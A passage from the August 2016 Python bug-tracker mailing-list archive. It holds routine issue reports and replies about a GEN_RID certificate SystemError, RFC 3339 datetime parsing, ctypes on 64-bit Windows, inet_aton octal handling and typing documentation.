names. Python's _get_peer_alt_names() uses GENERAL_NAME_print() to print GEN_IPADD, GEN_RID and others into a buffer. The buffer is then split at ':' into two strings. This works for all fields except for GEN_RID because OpenSSL doesn't put a ':' after 'Registered ID', https://github.com/openssl/openssl/blob/master/crypto/x509v3/v3_alt.c#L183 . _get_peer_alt_names() fails and returns NULL without setting a proper exception. It looks like we haven't had tests for GEN_RID as well as some other field types. Related Red Hat bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1364268 ---------- components: Extension Modules files: rid.pem messages: 272020 nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen, pitrou priority: normal severity: normal stage: test needed status: open title: X509 cert with GEN_RID subject alt name causes SytemError type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44014/rid.pem _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 05:37:08 2016 From: report at bugs.python.org (Mathieu Dupuy) Date: Fri, 05 Aug 2016 09:37:08 +0000 Subject: [issue15873] datetime: add ability to parse RFC 3339 dates and times In-Reply-To: <1346965730.56.0.810546720554.issue15873@psf.upfronthosting.co.za> Message-ID: <1470389828.32.0.558805657352.issue15873@psf.upfronthosting.co.za> Mathieu Dupuy added the comment: I'm back on the issue. I'm currently stuck on the design. We need to store the regexes somewhere, and that's what causes problem : I can't really find a good place to store them. We basically have two possible designs : * single dispatch kind, class-type dictionary lookup for regexes, stored in _strpime.py. It's minimally invasive, allow a very simple C implementation, and allows us to avoid to add a 're' import in datetime.py. Problem : it breaks when the given class is not of type date, time or datetime. And it currently breaks the tests because tests are doing this, testing using subclasses. We could rely on "isinstance" but do we want this ? * regex stored as classes attributes. More robust, more invasive, 're' import in datetime.py, allows subclassing, passes test. C implementation not done yet. Since it requires a better understanding of the C API, I will do it only we are sure that's the way to go. I post the two versions of the implementation as patches here. These adress all the concerns expressed before (Martin). If we can't decide, I will post a mail on the mailing list Martin suggested, python-ideas. By the way, are you sure it's the right one to ask ? Wouldn't be python-dev more appropriated ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 05:38:43 2016 From: report at bugs.python.org (Mathieu Dupuy) Date: Fri, 05 Aug 2016 09:38:43 +0000 Subject: [issue15873] datetime: add ability to parse RFC 3339 dates and times In-Reply-To: <1346965730.56.0.810546720554.issue15873@psf.upfronthosting.co.za> Message-ID: <1470389923.8.0.400705904489.issue15873@psf.upfronthosting.co.za> Changes by Mathieu Dupuy : Added file: http://bugs.python.org/file44015/fromisoformat_regexinclasses.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 05:42:24 2016 From: report at bugs.python.org (Mathieu Dupuy) Date: Fri, 05 Aug 2016 09:42:24 +0000 Subject: [issue15873] datetime: add ability to parse RFC 3339 dates and times In-Reply-To: <1346965730.56.0.810546720554.issue15873@psf.upfronthosting.co.za> Message-ID: <1470390144.28.0.244789887238.issue15873@psf.upfronthosting.co.za> Changes by Mathieu Dupuy : Added file: http://bugs.python.org/file44016/fromisoformat_strptimesingledispatch.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 06:06:00 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 05 Aug 2016 10:06:00 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <1470391560.2.0.24945404966.issue27614@psf.upfronthosting.co.za> Martin Panter added the comment: Earl: Can you give any more details on your original hang or race condition? Was it related to setting PORT, or shutting down the server, or something else? It is not clear from your patch. I have tried adding artificial sleep() calls at various points but that did not uncover anything. I?m sorry, but in my enthusiasm for rewriting the test I didn?t properly understand your original problem :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 06:33:46 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 05 Aug 2016 10:33:46 +0000 Subject: [issue27692] Clean serveral unnecessary NULL checks in exceptions.c Message-ID: <1470393226.79.0.545777561503.issue27692@psf.upfronthosting.co.za> New submission from Xiang Zhang: While studying exceptions.c, find several unnecessary NULL checks that can be removed. ---------- components: Interpreter Core files: small_cleanup_exceptions.patch keywords: patch messages: 272023 nosy: martin.panter, serhiy.storchaka, xiang.zhang priority: normal severity: normal status: open title: Clean serveral unnecessary NULL checks in exceptions.c type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file44017/small_cleanup_exceptions.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 06:48:44 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 05 Aug 2016 10:48:44 +0000 Subject: [issue27691] X509 cert with GEN_RID subject alt name causes SytemError In-Reply-To: <1470389195.49.0.571813101842.issue27691@psf.upfronthosting.co.za> Message-ID: <1470394124.42.0.733000542035.issue27691@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- keywords: +patch Added file: http://bugs.python.org/file44018/0001-Fix-handling-of-GEN_RID-in-X.509-subjectAltName-fiel.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 07:05:45 2016 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 05 Aug 2016 11:05:45 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470395145.47.0.694588003415.issue20160@psf.upfronthosting.co.za> Vinay Sajip added the comment: According to PEP 398, we should patch the source for security updates for 3.3 until September 2017, though no new binary release needs to be made. I'm not sure if expedited binary releases are needed for 3.4 and 3.5. I will look at applying the patch in 2.7 and 3.3 through to 3.6. ---------- versions: +Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 08:24:21 2016 From: report at bugs.python.org (Larry Hastings) Date: Fri, 05 Aug 2016 12:24:21 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470399861.96.0.0642139584797.issue20160@psf.upfronthosting.co.za> Larry Hastings added the comment: 3.4 is also in security-fixes-only mode, which also means it's in no-binary-installers mode. Good luck making the case that "this bugfix, which took us more than 2.5 years to finalize, is so critical that the release team must immediately issue binary installers". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 08:50:02 2016 From: report at bugs.python.org (Mathieu Dupuy) Date: Fri, 05 Aug 2016 12:50:02 +0000 Subject: [issue15873] datetime: add ability to parse RFC 3339 dates and times In-Reply-To: <1346965730.56.0.810546720554.issue15873@psf.upfronthosting.co.za> Message-ID: <1470401402.36.0.799434594086.issue15873@psf.upfronthosting.co.za> Mathieu Dupuy added the comment: updated version with SilentGhost's concerns addressed. ---------- Added file: http://bugs.python.org/file44019/fromisoformat_regexinclasses2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 09:03:06 2016 From: report at bugs.python.org (Dietmar Schindler) Date: Fri, 05 Aug 2016 13:03:06 +0000 Subject: [issue27693] curses.textpad.Textbox(win).edit() won't edit last character Message-ID: <1470402186.89.0.461540221424.issue27693@psf.upfronthosting.co.za> New submission from Dietmar Schindler: curses.textpad.Textbox(win).edit() does not allow to enter a character (or change one, if already there) at the very last position in a window (the lower right hand corner), though it allows to position the cursor there. This applies to the whole screen as well as other windows (also if the window's right margin isn't the screen margin). A sample program is attached (try to fill the last line completely with some character). ---------- components: Library (Lib) files: edit.py messages: 272027 nosy: Dietmar Schindler priority: normal severity: normal status: open title: curses.textpad.Textbox(win).edit() won't edit last character type: behavior versions: Python 2.7, Python 3.2 Added file: http://bugs.python.org/file44020/edit.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 09:27:57 2016 From: report at bugs.python.org (Steve Dower) Date: Fri, 05 Aug 2016 13:27:57 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470403677.2.0.714116587447.issue20160@psf.upfronthosting.co.za> Steve Dower added the comment: Yeah, it's more a loose end than a real concern. Helps make the case for reintegrating current libffi builds, as IIRC they've had the fix for a long time, but we don't have anyone willing to do the integration work right now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 09:40:03 2016 From: report at bugs.python.org (Patrick Stewart) Date: Fri, 05 Aug 2016 13:40:03 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470404403.59.0.811434894445.issue20160@psf.upfronthosting.co.za> Patrick Stewart added the comment: Actually the current released version of libffi (3.2.1) is even more severely broken on win64, you can't return structs at all. (patch here https://github.com/patstew/MINGW-packages/blob/9c3910fa32c45448826a2241c3fba3bf6abf9428/mingw-w64-libffi/fix_return_size.patch). They've rewritten it all in git, so hopefully the next version will work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 09:57:08 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Fri, 05 Aug 2016 13:57:08 +0000 Subject: [issue24658] open().write() fails on 2 GB+ data (OS X) In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> Message-ID: <1470405428.73.0.101252074812.issue24658@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Here is my patch 3.6, I am going to provide the patch for 3.5 ---------- nosy: +matrixise Added file: http://bugs.python.org/file44021/issue24658-3.6.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 10:10:42 2016 From: report at bugs.python.org (Emanuel Barry) Date: Fri, 05 Aug 2016 14:10:42 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470406242.94.0.305267487205.issue27683@psf.upfronthosting.co.za> Emanuel Barry added the comment: Ack, special cases! I can look into making a patch, but I'm not really acquainted with ipaddress or the relevant protocols, so it might not be optimal. I'll give it a shot next week if nobody else does. ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 10:32:29 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 05 Aug 2016 14:32:29 +0000 Subject: [issue27692] Clean serveral unnecessary NULL checks in exceptions.c In-Reply-To: <1470393226.79.0.545777561503.issue27692@psf.upfronthosting.co.za> Message-ID: <1470407549.15.0.931994991372.issue27692@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM. ---------- stage: -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 10:51:57 2016 From: report at bugs.python.org (Haaroon Y) Date: Fri, 05 Aug 2016 14:51:57 +0000 Subject: [issue27694] Socket incorrectly states IP address that start with a zero after a dot are illegal Message-ID: <1470408717.78.0.306514411984.issue27694@psf.upfronthosting.co.za> New submission from Haaroon Y: Using the socket library and the method socket.inet_aton(ipAddr) it incorrectly states IP address such as 192.168.093.1 and 192.092.2.1 are not legal when they are. ---------- components: Library (Lib) messages: 272033 nosy: Haaroon Y priority: normal severity: normal status: open title: Socket incorrectly states IP address that start with a zero after a dot are illegal type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 10:54:35 2016 From: report at bugs.python.org (Haaroon Y) Date: Fri, 05 Aug 2016 14:54:35 +0000 Subject: [issue27694] Socket incorrectly states IP address that start with a zero after a dot are illegal In-Reply-To: <1470408717.78.0.306514411984.issue27694@psf.upfronthosting.co.za> Message-ID: <1470408875.93.0.73811993208.issue27694@psf.upfronthosting.co.za> Haaroon Y added the comment: This seems to occur when a IP value is 078 or higher. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 11:06:36 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 05 Aug 2016 15:06:36 +0000 Subject: [issue27694] Socket incorrectly states IP address that start with a zero after a dot are illegal In-Reply-To: <1470408717.78.0.306514411984.issue27694@psf.upfronthosting.co.za> Message-ID: <1470409596.95.0.916680468665.issue27694@psf.upfronthosting.co.za> Martin Panter added the comment: I am pretty sure it isn?t legal. Python?s inet_aton() just wraps the underlying OS call. According to Posix , the leading zero in 093 would indicate octal notation, but the nine is not a valid octal digit. >>> inet_ntoa(inet_aton("192.168.10.1")) '192.168.10.1' >>> inet_ntoa(inet_aton("192.168.010.1")) '192.168.8.1' ---------- nosy: +martin.panter resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 11:07:03 2016 From: report at bugs.python.org (Mathieu Dupuy) Date: Fri, 05 Aug 2016 15:07:03 +0000 Subject: [issue20004] csv.DictReader classic class has a property with setter In-Reply-To: <1387278593.92.0.0717442259637.issue20004@psf.upfronthosting.co.za> Message-ID: <1470409623.86.0.391008623376.issue20004@psf.upfronthosting.co.za> Mathieu Dupuy added the comment: The comment is still present in python 3 sources at the moment. Shouldn't we remove it in python 3 ? ---------- nosy: +deronnax _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 11:09:18 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 05 Aug 2016 15:09:18 +0000 Subject: [issue27694] Socket incorrectly states IP address that start with a zero after a dot are illegal In-Reply-To: <1470408717.78.0.306514411984.issue27694@psf.upfronthosting.co.za> Message-ID: <1470409758.85.0.25464531857.issue27694@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 11:16:49 2016 From: report at bugs.python.org (earl.chew) Date: Fri, 05 Aug 2016 15:16:49 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <1470410209.21.0.824846956877.issue27614@psf.upfronthosting.co.za> earl.chew added the comment: In the original code, the key to the failure I observed is: # wait for port to be assigned n = 1000 while n > 0 and PORT is None: time.sleep(0.001) n -= 1 This gives a fixed deadline for the server thread to create the DocXMLRPCServer instance and provide the corresponding TCP port on which it is listening. If the server thread is late (or if an exception is thrown -- but this case might work out ok), the TCP port will not be available in the variable PORT. In this case, the client thread blunders on, and inadvertently fails because PORT == None. Upon failure, the test case tries to complete by tearing down the test: def tearDown(self): self.client.close() self.evt.wait() The test case waits for self.evt to indicate that the server has completed. However, the server thread is running this: while numrequests > 0: serv.handle_request() numrequests -= 1 In other words, the test is deadlocked because the server is waiting to process requests (actually it's waiting for a single request) from the client, but the client has already given up and is waiting for the server thread to complete. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 12:03:03 2016 From: report at bugs.python.org (Emanuel Barry) Date: Fri, 05 Aug 2016 16:03:03 +0000 Subject: [issue27424] Failures in test.test_logging In-Reply-To: <1467306001.82.0.0686720653934.issue27424@psf.upfronthosting.co.za> Message-ID: <1470412983.93.0.624873993303.issue27424@psf.upfronthosting.co.za> Emanuel Barry added the comment: I'm not home to check, but judging by the error message and previous discussions with other developers, it seems indeed like an issue with a non-ASCII character in my hostname. I've changed my hostname since then, so I'm going to close this as won't fix. If it turns out that the issue is still present, I'll re-open it. More details: I'm 90% sure that the issue is that Windows encodes non-ASCII characters as 'cp1252' (at least on my machine); subsequently trying to decode as 'ascii' or 'utf-8' doesn't work and throws an error. There's already another open issue about this (#26226). ---------- resolution: -> wont fix stage: needs patch -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 12:18:31 2016 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 05 Aug 2016 16:18:31 +0000 Subject: [issue27689] Add documentation for typing.Generator In-Reply-To: <1470370140.25.0.341729775697.issue27689@psf.upfronthosting.co.za> Message-ID: <1470413911.88.0.102464808994.issue27689@psf.upfronthosting.co.za> Guido van Rossum added the comment: Patch LGTM. I'll apply and merge once your other patches are final. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 12:18:42 2016 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 05 Aug 2016 16:18:42 +0000 Subject: [issue27689] Add documentation for typing.Generator In-Reply-To: <1470370140.25.0.341729775697.issue27689@psf.upfronthosting.co.za> Message-ID: <1470413922.83.0.420654594514.issue27689@psf.upfronthosting.co.za> Changes by Guido van Rossum : ---------- assignee: docs at python -> gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 12:22:45 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 05 Aug 2016 16:22:45 +0000 Subject: [issue27689] Add documentation for typing.Generator In-Reply-To: <1470370140.25.0.341729775697.issue27689@psf.upfronthosting.co.za> Message-ID: <1470414165.54.0.730943363059.issue27689@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Michael, thank you for the patch. I have only one comment. Generator is one of the few types in typing.py that behaves contravariantly. Maybe you could emphasize that it is contravariant in send type in your patch? ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 12:24:11 2016 From: report at bugs.python.org (JW) Date: Fri, 05 Aug 2016 16:24:11 +0000 Subject: [issue26945] difflib.HtmlDiff().make_file() treat few change as whole line change In-Reply-To: <1462357117.75.0.264226223626.issue26945@psf.upfronthosting.co.za> Message-ID: <1470414251.21.0.936955686669.issue26945@psf.upfronthosting.co.za> JW added the comment: i found that making a change similar to this one in a certain place towards then end of my 300 or so long list of strings produces issues further along: making a change of Latitude=1.1 -> Latitude=111.1 correctly shows as 11 added; however subsequent matching lines then incorrectly show as different (please see screenshot1) ---------- nosy: +jlwing Added file: http://bugs.python.org/file44022/screenshot1.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 12:55:11 2016 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 05 Aug 2016 16:55:11 +0000 Subject: [issue27585] asyncio.Lock deadlock after cancellation In-Reply-To: <1470342511.29.0.0946660956256.issue27585@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: OK, merged upstream. It'll eventually come down to Python 3.5.3 and 3.6. On Thu, Aug 4, 2016 at 1:28 PM, sss wrote: > > sss added the comment: > > Thank you. This looks good to me > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:03:43 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 05 Aug 2016 17:03:43 +0000 Subject: [issue26945] difflib.HtmlDiff().make_file() treat few change as whole line change In-Reply-To: <1462357117.75.0.264226223626.issue26945@psf.upfronthosting.co.za> Message-ID: <1470416623.52.0.390559192228.issue26945@psf.upfronthosting.co.za> SilentGhost added the comment: JW, could you submit a minimal reproducer for this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:25:07 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Fri, 05 Aug 2016 17:25:07 +0000 Subject: [issue24658] open().write() fails on 2 GB+ data (OS X) In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> Message-ID: <1470417907.77.0.803293271487.issue24658@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Sorry, I was busy with a task but here is my patch for 3.5, in fact, it's just the same for 3.6 ---------- Added file: http://bugs.python.org/file44023/issue24658-3.5.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:28:33 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Fri, 05 Aug 2016 17:28:33 +0000 Subject: [issue24658] open().write() fails on 2 GB+ data (OS X) In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> Message-ID: <1470418113.26.0.771143339131.issue24658@psf.upfronthosting.co.za> Changes by St?phane Wirtel : Removed file: http://bugs.python.org/file44023/issue24658-3.5.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:28:43 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Fri, 05 Aug 2016 17:28:43 +0000 Subject: [issue24658] open().write() fails on 2 GB+ data (OS X) In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> Message-ID: <1470418123.21.0.0622154012347.issue24658@psf.upfronthosting.co.za> Changes by St?phane Wirtel : Added file: http://bugs.python.org/file44024/issue24658-3.5.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:29:04 2016 From: report at bugs.python.org (Michael Lee) Date: Fri, 05 Aug 2016 17:29:04 +0000 Subject: [issue27688] Expand documentation about Any in the typing module In-Reply-To: <1470368224.56.0.159287783102.issue27688@psf.upfronthosting.co.za> Message-ID: <1470418144.27.0.21253537329.issue27688@psf.upfronthosting.co.za> Michael Lee added the comment: Here's revision two. The only change I didn't make was the one about the isinstance check. It isn't included in PEP 484, and after talking to Guido, he decided it wouldn't be appropriate to document it here. ---------- Added file: http://bugs.python.org/file44025/object-vs-any-v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:39:36 2016 From: report at bugs.python.org (Franco Costantini) Date: Fri, 05 Aug 2016 17:39:36 +0000 Subject: [issue27695] Compilation doesnt' end Message-ID: <1470418776.19.0.267562911935.issue27695@psf.upfronthosting.co.za> New submission from Franco Costantini: Hi, we currently are fuzzing Python programs to find valid code that fails to compile. We found this program never finishes its compilation. $ echo "raise ValueError ; 2 ** 12345678912345" > inf.py $ python -m py_compile inf.py We realize the computation is a large one and takes a very long time, in this case the compiler consumes more and more memory over time. Perhaps the compiler shouldn't try to calculate this indefinitely and just return an error. Regards ---------- messages: 272046 nosy: fcostantini priority: normal severity: normal status: open title: Compilation doesnt' end type: compile error versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:43:26 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 05 Aug 2016 17:43:26 +0000 Subject: [issue27695] Compilation doesnt' end In-Reply-To: <1470418776.19.0.267562911935.issue27695@psf.upfronthosting.co.za> Message-ID: <1470419006.16.0.112700921924.issue27695@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Interpreter Core nosy: +haypo, serhiy.storchaka versions: +Python 3.6 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:45:01 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 05 Aug 2016 17:45:01 +0000 Subject: [issue27695] Compilation doesnt' end In-Reply-To: <1470418776.19.0.267562911935.issue27695@psf.upfronthosting.co.za> Message-ID: <1470419101.45.0.462505706588.issue27695@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- type: compile error -> resource usage versions: +Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 13:47:23 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 05 Aug 2016 17:47:23 +0000 Subject: [issue27695] Compilation doesnt' end In-Reply-To: <1470418776.19.0.267562911935.issue27695@psf.upfronthosting.co.za> Message-ID: <1470419243.48.0.0182760016227.issue27695@psf.upfronthosting.co.za> SilentGhost added the comment: On 3.6 it takes a very long time, but it does finish. time ./python -c "raise ValueError ; 2 ** 12345678912345" Traceback (most recent call last): File "", line 1, in ValueError real 1m35.673s user 1m18.952s sys 0m16.644s ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 14:01:32 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Fri, 05 Aug 2016 18:01:32 +0000 Subject: [issue27688] Expand documentation about Any in the typing module In-Reply-To: <1470368224.56.0.159287783102.issue27688@psf.upfronthosting.co.za> Message-ID: <1470420092.83.0.311111888721.issue27688@psf.upfronthosting.co.za> St?phane Wirtel added the comment: I have reviewed your patch, and it compiles with sphinx. no issue with the content, but I am not a native speaker and not an expert of the type hinting of python 3.5 ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 14:08:40 2016 From: report at bugs.python.org (Michael Lee) Date: Fri, 05 Aug 2016 18:08:40 +0000 Subject: [issue27689] Add documentation for typing.Generator In-Reply-To: <1470370140.25.0.341729775697.issue27689@psf.upfronthosting.co.za> Message-ID: <1470420520.87.0.696892498296.issue27689@psf.upfronthosting.co.za> Michael Lee added the comment: Revision two -- I added a brief note mentioning that SendType is contravariant, as Ivan suggested. ---------- Added file: http://bugs.python.org/file44026/document-generators-v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 14:09:59 2016 From: report at bugs.python.org (Ammar Askar) Date: Fri, 05 Aug 2016 18:09:59 +0000 Subject: [issue27695] Compilation doesnt' end In-Reply-To: <1470418776.19.0.267562911935.issue27695@psf.upfronthosting.co.za> Message-ID: <1470420599.68.0.767045507778.issue27695@psf.upfronthosting.co.za> Ammar Askar added the comment: Just in case anyone is wondering why this happens. The compiler's peephole optimizer will fold constant expressions like x = 5 + 5 into x = 10 More specifically, this bit here: https://github.com/python/cpython/blob/0f21fe6155227d11dc02bd3ef3b061de4ecea445/Python/peephole.c#L240 I'd say the current behavior of the compilation taking a long time is fine since at runtime it would run the exact same "2 ** 12345678912345" expression and spend a long time/run out of memory. However I'd say the fact that this happens so silently can be a "gotcha" in some very rare cases. ---------- nosy: +ammar2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 14:53:42 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 05 Aug 2016 18:53:42 +0000 Subject: [issue27671] FAQ: len() is still function for good reason. In-Reply-To: <1470214886.13.0.870924776007.issue27671@psf.upfronthosting.co.za> Message-ID: <1470423222.08.0.140384702158.issue27671@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I agree. We do not need to semi-apologize for having generic functions be builtin generic functions. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 15:38:19 2016 From: report at bugs.python.org (Michael Lee) Date: Fri, 05 Aug 2016 19:38:19 +0000 Subject: [issue27689] Add documentation for typing.Generator In-Reply-To: <1470370140.25.0.341729775697.issue27689@psf.upfronthosting.co.za> Message-ID: <1470425899.4.0.886111670813.issue27689@psf.upfronthosting.co.za> Michael Lee added the comment: Revision 3 -- I changed the protocol for the example so that you stop the generator by sending in a negative number as a sentinel rather then None. ---------- Added file: http://bugs.python.org/file44027/document-generators-v3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 15:44:45 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 05 Aug 2016 19:44:45 +0000 Subject: [issue27184] Support path objects in the ntpath module In-Reply-To: <1464917768.07.0.74753238066.issue27184@psf.upfronthosting.co.za> Message-ID: <1470426285.24.0.727417131204.issue27184@psf.upfronthosting.co.za> Brett Cannon added the comment: I added support for ntpath as part of issue #27524. ---------- resolution: -> duplicate status: open -> closed superseder: -> Update os.path for PEP 519/__fspath__() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 15:52:22 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 05 Aug 2016 19:52:22 +0000 Subject: [issue26800] Don't accept bytearray as filenames part 2 In-Reply-To: <1461015295.39.0.246147143774.issue26800@psf.upfronthosting.co.za> Message-ID: <1470426742.0.0.103118836859.issue26800@psf.upfronthosting.co.za> Brett Cannon added the comment: Assigning to Serhiy to apply since Larry doesn't care and I already reviewed the patch. ---------- assignee: larry -> serhiy.storchaka stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 15:58:33 2016 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 05 Aug 2016 19:58:33 +0000 Subject: [issue27689] Add documentation for typing.Generator In-Reply-To: <1470370140.25.0.341729775697.issue27689@psf.upfronthosting.co.za> Message-ID: <1470427113.45.0.00448943707929.issue27689@psf.upfronthosting.co.za> Guido van Rossum added the comment: changeset: 102542:f10029fea6ee tag: tip parent: 102540:fe189b8bd3ab parent: 102541:b5403f416836 user: Guido van Rossum date: Fri Aug 05 12:57:38 2016 -0700 summary: Add typing.Generator docs, by Michael Lee. (Merge 3.5->3.6) changeset: 102541:b5403f416836 branch: 3.5 parent: 102539:42d84513c3f0 user: Guido van Rossum date: Fri Aug 05 12:56:09 2016 -0700 summary: Add typing.Generator docs, by Michael Lee. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 16:19:10 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 05 Aug 2016 20:19:10 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <20160805201906.20329.34606.1D4CD3BD@psf.io> Roundup Robot added the comment: New changeset 09475e6135d0 by Vinay Sajip in branch '2.7': Issue #20160: Handled passing of large structs to callbacks correctly. https://hg.python.org/cpython/rev/09475e6135d0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 16:29:39 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 05 Aug 2016 20:29:39 +0000 Subject: [issue27693] curses.textpad.Textbox(win).edit() won't edit last character In-Reply-To: <1470402186.89.0.461540221424.issue27693@psf.upfronthosting.co.za> Message-ID: <1470428979.85.0.896211976347.issue27693@psf.upfronthosting.co.za> Ned Deily added the 